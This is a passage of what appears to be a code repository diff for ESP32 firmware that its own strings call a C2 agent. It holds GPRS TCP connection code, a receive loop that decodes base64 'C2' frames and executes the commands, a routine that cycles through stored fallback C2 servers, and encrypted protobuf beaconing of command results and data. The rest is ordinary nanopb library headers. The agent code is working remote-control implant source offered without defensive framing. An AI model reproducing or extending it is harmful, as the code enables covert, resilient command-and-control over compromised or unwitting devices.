ESP_LOGI(TAG, "IP obtained: %s", buf);
return true;
}
/* ============================================================
* TCP
* ============================================================ */
bool connect_tcp_to(const char *ip, int port)
{
char buf[BUFF_SIZE];
char cmd[128];
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
send_at_command("AT+CIPMUX=0");
at_wait_ok(buf, sizeof(buf), 2000);
snprintf(cmd, sizeof(cmd),
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
ip, port);
send_at_command(cmd);
if (!at_read(buf, sizeof(buf), 15000))
return false;
if (strstr(buf, "CONNECT OK")) {
ESP_LOGI(TAG, "TCP connected");
return true;
}
ESP_LOGE(TAG, "TCP connection failed");
return false;
}
bool connect_tcp(void)
{
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
}
/* ============================================================
* RX HELPERS
* ============================================================ */
static bool is_base64_frame(const char *s)
{
size_t len = strlen(s);
if (len < 20)
return false;
for (size_t i = 0; i < len; i++) {
char c = s[i];
if (!(isalnum((unsigned char)c) ||
c == '+' || c == '/' || c == '=')) {
return false;
}
}
return true;
}
/* ============================================================
* RX PUSH MODE (ROBUST)
* ============================================================ */
void gprs_rx_poll(void)
{
static char rx_buf[BUFF_SIZE];
static size_t rx_len = 0;
int r = uart_read_bytes(
UART_NUM,
(uint8_t *)(rx_buf + rx_len),
sizeof(rx_buf) - rx_len - 1,
pdMS_TO_TICKS(200)
);
if (r <= 0)
return;
rx_len += r;
rx_buf[rx_len] = '\0';
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
ESP_LOGD(TAG, "%s", rx_buf);
/* nettoyer CR/LF */
for (size_t i = 0; i < rx_len; i++) {
if (rx_buf[i] == '\r' || rx_buf[i] == '\n')
rx_buf[i] = '\0';
}
/* frame C2 reçue */
if (is_base64_frame(rx_buf)) {
ESP_LOGI(TAG, "C2 RAW FRAME: [%s]", rx_buf);
c2_decode_and_exec(rx_buf);
rx_len = 0;
rx_buf[0] = '\0';
}
}
/* ============================================================
* SEND ATOMIC FRAME
* ============================================================ */
bool gprs_send(const void *buf, size_t len)
{
char resp[BUFF_SIZE];
char cmd[32];
snprintf(cmd, sizeof(cmd),
"AT+CIPSEND=%d", (int)(len + 1));
send_at_command(cmd);
if (!at_read(resp, sizeof(resp), 3000) ||
!strchr(resp, '>')) {
ESP_LOGE(TAG, "CIPSEND prompt failed");
return false;
}
uart_write_bytes(UART_NUM, buf, len);
uart_write_bytes(UART_NUM, "\n", 1);
uart_write_bytes(UART_NUM, "\x1A", 1);
if (!at_read(resp, sizeof(resp), 10000) ||
!strstr(resp, "SEND OK")) {
ESP_LOGE(TAG, "SEND failed");
return false;
}
ESP_LOGI(TAG, "TCP frame sent (%d bytes)", (int)(len + 1));
return true;
}
/* ============================================================
* CLOSE
* ============================================================ */
void close_tcp_connection(void)
{
send_at_command("AT+CIPCLOSE");
vTaskDelay(pdMS_TO_TICKS(500));
send_at_command("AT+CIPSHUT");
}
/* ============================================================
* CLIENT TASK (GPRS primary mode only)
* ============================================================ */
#ifdef CONFIG_NETWORK_GPRS
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
extern atomic_bool fb_active;
/* Try NVS C2 fallback addresses over GPRS */
static bool try_gprs_fallback_c2s(void)
{
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
close_tcp_connection();
if (connect_tcp_to(ip_buf, port)) {
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
}
return false;
}
#endif /* CONFIG_MODULE_FALLBACK */
void gprs_client_task(void *pvParameters)
{
ESP_LOGI(TAG, "GPRS client task started");
int tcp_fail_count = 0;
#ifdef CONFIG_FB_WIFI_FALLBACK
int gprs_dead_count = 0;
#endif
while (1) {
#ifdef CONFIG_MODULE_FALLBACK
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
#endif
/* GPRS attach */
if (!connect_gprs()) {
ESP_LOGE(TAG, "GPRS connection failed");
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count++;
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
fb_hunt_set_skip_gprs(true);
fb_hunt_trigger();
gprs_dead_count = 0;
continue;
}
#endif
setup_modem();
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count = 0;
#endif
/* TCP connect to C2 */
if (!connect_tcp()) {
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
#ifdef CONFIG_MODULE_FALLBACK
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
/* Level 1: try NVS C2 fallback addresses over GPRS */
if (try_gprs_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Modem restart */
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
close_tcp_connection();
setup_modem();
tcp_fail_count = 0;
}
#endif
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
tcp_fail_count = 0;
#ifdef CONFIG_MODULE_FALLBACK
handshake:
#endif
/* Handshake */
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake sent");
while (1) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
}
}
#endif /* CONFIG_NETWORK_GPRS */
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */

View File

@ -1,204 +0,0 @@
#include <stdio.h>
#include <string.h>
#include <time.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "pb_encode.h"
#include "c2.pb.h"
#include "freertos/semphr.h"
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
#define TAG "AGENT_MSG"
#define MAX_PROTOBUF_SIZE 512
extern int sock;
extern SemaphoreHandle_t sock_mutex;
/* ============================================================
* TCP helpers
* ============================================================ */
static bool tcp_send_all(const void *buf, size_t len)
{
#ifdef CONFIG_NETWORK_WIFI
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) {
ESP_LOGE(TAG, "socket not connected");
return false;
}
const uint8_t *p = (const uint8_t *)buf;
while (len > 0) {
int sent = lwip_write(current_sock, p, len);
if (sent <= 0) {
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock == current_sock) {
lwip_close(sock);
sock = -1;
}
xSemaphoreGive(sock_mutex);
return false;
}
p += sent;
len -= sent;
}
return true;
#elif defined(CONFIG_NETWORK_GPRS)
return gprs_send(buf, len);
#else
#error "No network backend selected"
#endif
}
static bool send_base64_frame(const uint8_t *data, size_t len)
{
char *b64 = base64_encode(data, len);
if (!b64) {
ESP_LOGE(TAG, "base64_encode failed");
return false;
}
/* Prepend "device_id:" so the C2 can identify which key to use */
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
&& tcp_send_all(":", 1)
&& tcp_send_all(b64, strlen(b64))
&& tcp_send_all("\n", 1);
free(b64);
return ok;
}
/* ============================================================
* Encode encrypt base64 send
* ============================================================ */
static bool encode_encrypt_send(c2_AgentMessage *msg)
{
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
pb_ostream_t stream =
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
ESP_LOGE(TAG, "pb_encode failed: %s",
PB_GET_ERROR(&stream));
return false;
}
size_t proto_len = stream.bytes_written;
/* nonce[12] + ciphertext + tag[16] */
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
int enc_len = crypto_encrypt(pb_buf, proto_len,
enc_buf, sizeof(enc_buf));
if (enc_len < 0) {
ESP_LOGE(TAG, "crypto_encrypt failed");
return false;
}
return send_base64_frame(enc_buf, (size_t)enc_len);
}
/* ============================================================
* Core send API
* ============================================================ */
bool agent_send(c2_AgentMsgType type,
const char *source,
const char *request_id,
const void *data,
size_t len,
bool eof)
{
c2_AgentMessage msg = c2_AgentMessage_init_zero;
/* mandatory */
strncpy(msg.device_id, CONFIG_DEVICE_ID,
sizeof(msg.device_id) - 1);
msg.type = type;
msg.eof = eof;
/* optional */
if (source) {
strncpy(msg.source, source,
sizeof(msg.source) - 1);
}
if (request_id) {
strncpy(msg.request_id, request_id,
sizeof(msg.request_id) - 1);
}
if (data && len > 0) {
if (len > sizeof(msg.payload.bytes))
len = sizeof(msg.payload.bytes);
msg.payload.size = len;
memcpy(msg.payload.bytes, data, len);
}
return encode_encrypt_send(&msg);
}
/* ============================================================
* High-level helpers (USED EVERYWHERE)
* ============================================================ */
bool msg_info(const char *src,
const char *msg,
const char *req)
{
return agent_send(
c2_AgentMsgType_AGENT_INFO,
src,
req,
msg,
msg ? strlen(msg) : 0,
true
);
}
bool msg_error(const char *src,
const char *msg,
const char *req)
{
return agent_send(
c2_AgentMsgType_AGENT_ERROR,
src,
req,
msg,
msg ? strlen(msg) : 0,
true
);
}
bool msg_data(const char *src,
const void *data,
size_t len,
bool eof,
const char *req)
{
if (!data || len == 0)
return false;
return agent_send(
c2_AgentMsgType_AGENT_DATA,
src,
req,
data,
len,
eof
);
}

View File

@ -1,17 +0,0 @@
/* Automatically generated nanopb constant definitions */
/* Generated by nanopb-1.0.0-dev */
#include "c2.pb.h"
#if PB_PROTO_HEADER_VERSION != 40
#error Regenerate this file with the current version of nanopb generator.
#endif
PB_BIND(c2_Command, c2_Command, 2)
PB_BIND(c2_AgentMessage, c2_AgentMessage, 2)

View File

@ -1,107 +0,0 @@
/* Automatically generated nanopb header */
/* Generated by nanopb-1.0.0-dev */
#ifndef PB_C2_PROTO_C2_PB_H_INCLUDED
#define PB_C2_PROTO_C2_PB_H_INCLUDED
#include <pb.h>
#if PB_PROTO_HEADER_VERSION != 40
#error Regenerate this file with the current version of nanopb generator.
#endif
/* Enum definitions */
typedef enum _c2_AgentMsgType {
c2_AgentMsgType_AGENT_INFO = 0,
c2_AgentMsgType_AGENT_ERROR = 1,
c2_AgentMsgType_AGENT_DATA = 2,
c2_AgentMsgType_AGENT_LOG = 3,
c2_AgentMsgType_AGENT_CMD_RESULT = 4
} c2_AgentMsgType;
/* Struct definitions */
typedef struct _c2_Command {
char device_id[64];
char command_name[32];
pb_size_t argv_count;
char argv[8][256];
char request_id[64];
} c2_Command;
typedef PB_BYTES_ARRAY_T(256) c2_AgentMessage_payload_t;
typedef struct _c2_AgentMessage {
char device_id[64];
c2_AgentMsgType type;
char source[32];
char request_id[64];
c2_AgentMessage_payload_t payload;
bool eof;
} c2_AgentMessage;
#ifdef __cplusplus
extern "C" {
#endif
/* Helper constants for enums */
#define _c2_AgentMsgType_MIN c2_AgentMsgType_AGENT_INFO
#define _c2_AgentMsgType_MAX c2_AgentMsgType_AGENT_CMD_RESULT
#define _c2_AgentMsgType_ARRAYSIZE ((c2_AgentMsgType)(c2_AgentMsgType_AGENT_CMD_RESULT+1))
#define c2_AgentMessage_type_ENUMTYPE c2_AgentMsgType
/* Initializer values for message structs */
#define c2_Command_init_default {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
#define c2_AgentMessage_init_default {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
#define c2_Command_init_zero {"", "", 0, {"", "", "", "", "", "", "", ""}, ""}
#define c2_AgentMessage_init_zero {"", _c2_AgentMsgType_MIN, "", "", {0, {0}}, 0}
/* Field tags (for use in manual encoding/decoding) */
#define c2_Command_device_id_tag 1
#define c2_Command_command_name_tag 2
#define c2_Command_argv_tag 3
#define c2_Command_request_id_tag 4
#define c2_AgentMessage_device_id_tag 1
#define c2_AgentMessage_type_tag 2
#define c2_AgentMessage_source_tag 3
#define c2_AgentMessage_request_id_tag 4
#define c2_AgentMessage_payload_tag 5
#define c2_AgentMessage_eof_tag 6
/* Struct field encoding specification for nanopb */
#define c2_Command_FIELDLIST(X, a) \
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
X(a, STATIC, SINGULAR, STRING, command_name, 2) \
X(a, STATIC, REPEATED, STRING, argv, 3) \
X(a, STATIC, SINGULAR, STRING, request_id, 4)
#define c2_Command_CALLBACK NULL
#define c2_Command_DEFAULT NULL
#define c2_AgentMessage_FIELDLIST(X, a) \
X(a, STATIC, SINGULAR, STRING, device_id, 1) \
X(a, STATIC, SINGULAR, UENUM, type, 2) \
X(a, STATIC, SINGULAR, STRING, source, 3) \
X(a, STATIC, SINGULAR, STRING, request_id, 4) \
X(a, STATIC, SINGULAR, BYTES, payload, 5) \
X(a, STATIC, SINGULAR, BOOL, eof, 6)
#define c2_AgentMessage_CALLBACK NULL
#define c2_AgentMessage_DEFAULT NULL
extern const pb_msgdesc_t c2_Command_msg;
extern const pb_msgdesc_t c2_AgentMessage_msg;
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
#define c2_Command_fields &c2_Command_msg
#define c2_AgentMessage_fields &c2_AgentMessage_msg
/* Maximum encoded size of messages (where known) */
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
#define c2_AgentMessage_size 426
#define c2_Command_size 2227
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif

View File

@ -1,213 +0,0 @@
// This file contains definitions of custom options used to control the
// code generator in nanopb protocol buffers library.
//
// Most commonly used options are max_count and max_size, which allow
// the generator to allocate static arrays for repeated and string fields.
//
// There are three ways to use these options:
// 1. Use a separate <protofile>.options file
// 2. Use command line switches to nanopb_generator.py
// 3. Use [(nanopb).option = value] in your <protofile>.proto file
//
// For detailed documentation, refer to "Generator options" in docs/reference.md
syntax = "proto2";
import "google/protobuf/descriptor.proto";
option java_package = "fi.kapsi.koti.jpa.nanopb";
enum FieldType {
FT_DEFAULT = 0; // Automatically decide field type, generate static field if possible.
FT_CALLBACK = 1; // Always generate a callback field.
FT_POINTER = 4; // Always generate a dynamically allocated field.
FT_STATIC = 2; // Generate a static field or raise an exception if not possible.
FT_IGNORE = 3; // Ignore the field completely.
FT_INLINE = 5; // Legacy option, use the separate 'fixed_length' option instead
}
enum IntSize {
IS_DEFAULT = 0; // Default, 32/64bit based on type in .proto
IS_8 = 8;
IS_16 = 16;
IS_32 = 32;
IS_64 = 64;
}
enum TypenameMangling {
M_NONE = 0; // Default, no typename mangling
M_STRIP_PACKAGE = 1; // Strip current package name
M_FLATTEN = 2; // Only use last path component
M_PACKAGE_INITIALS = 3; // Replace the package name by the initials
}
enum DescriptorSize {
DS_AUTO = 0; // Select minimal size based on field type
DS_1 = 1; // 1 word; up to 15 byte fields, no arrays
DS_2 = 2; // 2 words; up to 4095 byte fields, 4095 entry arrays
DS_4 = 4; // 4 words; up to 2^32-1 byte fields, 2^16-1 entry arrays
DS_8 = 8; // 8 words; up to 2^32-1 entry arrays
}
// This is the inner options message, which basically defines options for
// a field. When it is used in message or file scope, it applies to all
// fields.
message NanoPBOptions {
// Allocated size for 'bytes' and 'string' fields.
// For string fields, this should include the space for null terminator.
optional int32 max_size = 1;
// Maximum length for 'string' fields. Setting this is equivalent
// to setting max_size to a value of length+1.
optional int32 max_length = 14;
// Allocated number of entries in arrays ('repeated' fields)
optional int32 max_count = 2;
// Size of integer fields. Can save some memory if you don't need
// full 32 bits for the value.
optional IntSize int_size = 7 [default = IS_DEFAULT];
// Size for enum fields. Supported by C++11 and C23 standards.
optional IntSize enum_intsize = 34 [default = IS_DEFAULT];
// Force type of field (callback or static allocation)
optional FieldType type = 3 [default = FT_DEFAULT];
// Use long names for enums, i.e. EnumName_EnumValue.
optional bool long_names = 4 [default = true];
// Add 'packed' attribute to generated structs.
// Note: this cannot be used on CPUs that break on unaligned
// accesses to variables.
optional bool packed_struct = 5 [default = false];
// Add 'packed' attribute to generated enums.
optional bool packed_enum = 10 [default = false];
// Skip this message
optional bool skip_message = 6 [default = false];
// Generate oneof fields as normal optional fields instead of union.
optional bool no_unions = 8 [default = false];
// integer type tag for a message
optional uint32 msgid = 9;
// decode oneof as anonymous union
optional bool anonymous_oneof = 11 [default = false];
// Proto3 singular field does not generate a "has_" flag
optional bool proto3 = 12 [default = false];
// Force proto3 messages to have no "has_" flag.
// This was default behavior until nanopb-0.4.0.
optional bool proto3_singular_msgs = 21 [default = false];
// Generate an enum->string mapping function (can take up lots of space).
optional bool enum_to_string = 13 [default = false];
// Generate validation methods for enums
optional bool enum_validate = 32 [default = false];
// Generate bytes arrays with fixed length
optional bool fixed_length = 15 [default = false];
// Generate repeated field with fixed count
optional bool fixed_count = 16 [default = false];
// Generate message-level callback that is called before decoding submessages.
// This can be used to set callback fields for submsgs inside oneofs.
optional bool submsg_callback = 22 [default = false];
// Shorten or remove package names from type names.
// This option applies only on the file level.
optional TypenameMangling mangle_names = 17 [default = M_NONE];
// Data type for storage associated with callback fields.
optional string callback_datatype = 18 [default = "pb_callback_t"];
// Callback function used for encoding and decoding.
// Prior to nanopb-0.4.0, the callback was specified in per-field pb_callback_t
// structure. This is still supported, but does not work inside e.g. oneof or pointer
// fields. Instead, a new method allows specifying a per-message callback that
// will be called for all callback fields in a message type.
optional string callback_function = 19 [default = "pb_default_field_callback"];
// Select the size of field descriptors. This option has to be defined
// for the whole message, not per-field. Usually automatic selection is
// ok, but if it results in compilation errors you can increase the field
// size here.
optional DescriptorSize descriptorsize = 20 [default = DS_AUTO];
// Set default value for has_ fields.
optional bool default_has = 23 [default = false];
// Extra files to include in generated `.pb.h`
repeated string include = 24;
// Automatic includes to exclude from generated `.pb.h`
// Same as nanopb_generator.py command line flag -x.
repeated string exclude = 26;
// Package name that applies only for nanopb.
optional string package = 25;
// Override type of the field in generated C code. Only to be used with related field types
optional google.protobuf.FieldDescriptorProto.Type type_override = 27;
// Override of the label of the field (see FieldDescriptorProto.Label). Can be used to create
// fields which nanopb considers required in proto3, or whether nanopb treats the field as
// optional/required/repeated.
optional google.protobuf.FieldDescriptorProto.Label label_override = 31;
// Due to historical reasons, nanopb orders fields in structs by their tag number
// instead of the order in .proto. Set this to false to keep the .proto order.
// The default value will probably change to false in nanopb-0.5.0.
optional bool sort_by_tag = 28 [default = true];
// Set the FT_DEFAULT field conversion strategy.
// A field that can become a static member of a c struct (e.g. int, bool, etc)
// will be a a static field.
// Fields with dynamic length are converted to either a pointer or a callback.
optional FieldType fallback_type = 29 [default = FT_CALLBACK];
// Override initializer used in generated MyMessage_init_zero and MyMessage_init_default macros
// By default decided automatically based on field default value and datatype.
optional string initializer = 30;
// Discard unused types that are automatically generated by protoc if they are not actually
// needed. Currently this applies to map< > types when the field is ignored by options.
optional bool discard_unused_automatic_types = 33 [default = true];
// Discard messages and fields marked with [deprecated = true] in the proto file.
optional bool discard_deprecated = 35 [default = false];
}
// Extensions to protoc 'Descriptor' type in order to define options
// inside a .proto file.
//
// Protocol Buffers extension number registry
// --------------------------------
// Project: Nanopb
// Contact: Petteri Aimonen <jpa@kapsi.fi>
// Web site: http://kapsi.fi/~jpa/nanopb
// Extensions: 1010 (all types)
// --------------------------------
extend google.protobuf.FileOptions {
optional NanoPBOptions nanopb_fileopt = 1010;
}
extend google.protobuf.MessageOptions {
optional NanoPBOptions nanopb_msgopt = 1010;
}
extend google.protobuf.EnumOptions {
optional NanoPBOptions nanopb_enumopt = 1010;
}
extend google.protobuf.FieldOptions {
optional NanoPBOptions nanopb = 1010;
}

View File

@ -1,942 +0,0 @@
/* Common parts of the nanopb library. Most of these are quite low-level
* stuff. For the high-level interface, see pb_encode.h and pb_decode.h.
*/
#ifndef PB_H_INCLUDED
#define PB_H_INCLUDED
/*****************************************************************
* Nanopb compilation time options. You can change these here by *
* uncommenting the lines, or on the compiler command line. *
*****************************************************************/
/* Enable support for dynamically allocated fields */
/* #define PB_ENABLE_MALLOC 1 */
/* Define this if your CPU / compiler combination does not support
* unaligned memory access to packed structures. Note that packed
* structures are only used when requested in .proto options. */
/* #define PB_NO_PACKED_STRUCTS 1 */
/* Increase the number of required fields that are tracked.
* A compiler warning will tell if you need this. */
/* #define PB_MAX_REQUIRED_FIELDS 256 */
/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */
/* #define PB_FIELD_32BIT 1 */
/* Disable support for error messages in order to save some code space. */
/* #define PB_NO_ERRMSG 1 */
/* Disable checks to ensure sub-message encoded size is consistent when re-run. */
/* #define PB_NO_ENCODE_SIZE_CHECK 1 */
/* Disable support for custom streams (support only memory buffers). */
/* #define PB_BUFFER_ONLY 1 */
/* Disable support for 64-bit datatypes, for compilers without int64_t
or to save some code space. */
/* #define PB_WITHOUT_64BIT 1 */
/* Don't encode scalar arrays as packed. This is only to be used when
* the decoder on the receiving side cannot process packed scalar arrays.
* Such example is older protobuf.js. */
/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */
/* Enable conversion of doubles to floats for platforms that do not
* support 64-bit doubles. Most commonly AVR. */
/* #define PB_CONVERT_DOUBLE_FLOAT 1 */
/* Check whether incoming strings are valid UTF-8 sequences. Slows down
* the string processing slightly and slightly increases code size. */
/* #define PB_VALIDATE_UTF8 1 */
/* This can be defined if the platform is little-endian and has 8-bit bytes.
* Normally it is automatically detected based on __BYTE_ORDER__ macro. */
/* #define PB_LITTLE_ENDIAN_8BIT 1 */
/* Configure static assert mechanism. Instead of changing these, set your
* compiler to C11 standard mode if possible. */
/* #define PB_C99_STATIC_ASSERT 1 */
/* #define PB_NO_STATIC_ASSERT 1 */
/******************************************************************
* You usually don't need to change anything below this line. *
* Feel free to look around and use the defined macros, though. *
******************************************************************/
/* Version of the nanopb library. Just in case you want to check it in
* your own program. */
#define NANOPB_VERSION "nanopb-1.0.0-dev"
/* Include all the system headers needed by nanopb. You will need the
* definitions of the following:
* - strlen, memcpy, memset functions
* - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t
* - size_t
* - bool
*
* If you don't have the standard header files, you can instead provide
* a custom header that defines or includes all this. In that case,
* define PB_SYSTEM_HEADER to the path of this file.
*/
#ifdef PB_SYSTEM_HEADER
#include PB_SYSTEM_HEADER
#else
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include <string.h>
#include <limits.h>
#ifdef PB_ENABLE_MALLOC
#include <stdlib.h>
#endif
#endif
#ifdef __cplusplus
extern "C" {
#endif
/* Macro for defining packed structures (compiler dependent).
* This just reduces memory requirements, but is not required.
*/
#if defined(PB_NO_PACKED_STRUCTS)
/* Disable struct packing */
# define PB_PACKED_STRUCT_START
# define PB_PACKED_STRUCT_END
# define pb_packed
#elif defined(__GNUC__) || defined(__clang__)
/* For GCC and clang */
# define PB_PACKED_STRUCT_START
# define PB_PACKED_STRUCT_END
# define pb_packed __attribute__((packed))
#elif defined(__ICCARM__) || defined(__CC_ARM)
/* For IAR ARM and Keil MDK-ARM compilers */
# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)")
# define PB_PACKED_STRUCT_END _Pragma("pack(pop)")
# define pb_packed
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
/* For Microsoft Visual C++ */
# define PB_PACKED_STRUCT_START __pragma(pack(push, 1))
# define PB_PACKED_STRUCT_END __pragma(pack(pop))
# define pb_packed
#else
/* Unknown compiler */
# define PB_PACKED_STRUCT_START
# define PB_PACKED_STRUCT_END
# define pb_packed
#endif
/* Define for explicitly not inlining a given function */
#if defined(__GNUC__) || defined(__clang__)
/* For GCC and clang */
# define pb_noinline __attribute__((noinline))
#elif defined(__ICCARM__) || defined(__CC_ARM)
/* For IAR ARM and Keil MDK-ARM compilers */
# define pb_noinline
#elif defined(_MSC_VER) && (_MSC_VER >= 1500)
# define pb_noinline __declspec(noinline)
#else
# define pb_noinline
#endif
/* Detect endianness */
#if !defined(CHAR_BIT) && defined(__CHAR_BIT__)
#define CHAR_BIT __CHAR_BIT__
#endif
#ifndef PB_LITTLE_ENDIAN_8BIT
#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \
(defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \
defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \
defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \
defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \
&& defined(CHAR_BIT) && CHAR_BIT == 8
#define PB_LITTLE_ENDIAN_8BIT 1
#endif
#endif
/* Handly macro for suppressing unreferenced-parameter compiler warnings. */
#ifndef PB_UNUSED
#define PB_UNUSED(x) (void)(x)
#endif
/* Harvard-architecture processors may need special attributes for storing
* field information in program memory. */
#ifndef PB_PROGMEM
#ifdef __AVR__
#include <avr/pgmspace.h>
#define PB_PROGMEM PROGMEM
#define PB_PROGMEM_READU32(x) pgm_read_dword(&x)
#else
#define PB_PROGMEM
#define PB_PROGMEM_READU32(x) (x)
#endif
#endif
/* Compile-time assertion, used for checking compatible compilation options.
* If this does not work properly on your compiler, use
* #define PB_NO_STATIC_ASSERT to disable it.
*
* But before doing that, check carefully the error message / place where it
* comes from to see if the error has a real cause. Unfortunately the error
* message is not always very clear to read, but you can see the reason better
* in the place where the PB_STATIC_ASSERT macro was called.
*/
#ifndef PB_NO_STATIC_ASSERT
# ifndef PB_STATIC_ASSERT
# if defined(__ICCARM__)
/* IAR has static_assert keyword but no _Static_assert */
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112)
/* MSVC in C89 mode supports static_assert() keyword anyway */
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
# elif defined(PB_C99_STATIC_ASSERT)
/* Classic negative-size-array static assert mechanism */
# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1];
# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER)
# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER
# elif defined(__cplusplus)
/* C++11 standard static_assert mechanism */
# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG);
# else
/* C11 standard _Static_assert mechanism */
# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG);
# endif
# endif
#else
/* Static asserts disabled by PB_NO_STATIC_ASSERT */
# define PB_STATIC_ASSERT(COND,MSG)
#endif
/* Test that PB_STATIC_ASSERT works
* If you get errors here, you may need to do one of these:
* - Enable C11 standard support in your compiler
* - Define PB_C99_STATIC_ASSERT to enable C99 standard support
* - Define PB_NO_STATIC_ASSERT to disable static asserts altogether
*/
PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING)
/* Number of required fields to keep track of. */
#ifndef PB_MAX_REQUIRED_FIELDS
#define PB_MAX_REQUIRED_FIELDS 64
#endif
#if PB_MAX_REQUIRED_FIELDS < 64
#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64).
#endif
#ifdef PB_WITHOUT_64BIT
#ifdef PB_CONVERT_DOUBLE_FLOAT
/* Cannot use doubles without 64-bit types */
#undef PB_CONVERT_DOUBLE_FLOAT
#endif
#endif
/* Data type for storing encoded data and other byte streams.
* This typedef exists to support platforms where uint8_t does not exist.
* You can regard it as equivalent on uint8_t on other platforms.
*/
#if defined(PB_BYTE_T_OVERRIDE)
typedef PB_BYTE_T_OVERRIDE pb_byte_t;
#elif defined(UINT8_MAX)
typedef uint8_t pb_byte_t;
#else
typedef uint_least8_t pb_byte_t;
#endif
/* List of possible field types. These are used in the autogenerated code.
* Least-significant 4 bits tell the scalar type
* Most-significant 4 bits specify repeated/required/packed etc.
*/
typedef pb_byte_t pb_type_t;
/**** Field data types ****/
/* Numeric types */
#define PB_LTYPE_BOOL 0x00U /* bool */
#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */
#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */
#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */
#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */
#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */
/* Marker for last packable field type. */
#define PB_LTYPE_LAST_PACKABLE 0x05U
/* Byte array with pre-allocated buffer.
* data_size is the length of the allocated PB_BYTES_ARRAY structure. */
#define PB_LTYPE_BYTES 0x06U
/* String with pre-allocated buffer.
* data_size is the maximum length. */
#define PB_LTYPE_STRING 0x07U
/* Submessage
* submsg_fields is pointer to field descriptions */
#define PB_LTYPE_SUBMESSAGE 0x08U
/* Submessage with pre-decoding callback
* The pre-decoding callback is stored as pb_callback_t right before pSize.
* submsg_fields is pointer to field descriptions */
#define PB_LTYPE_SUBMSG_W_CB 0x09U
/* Extension pseudo-field
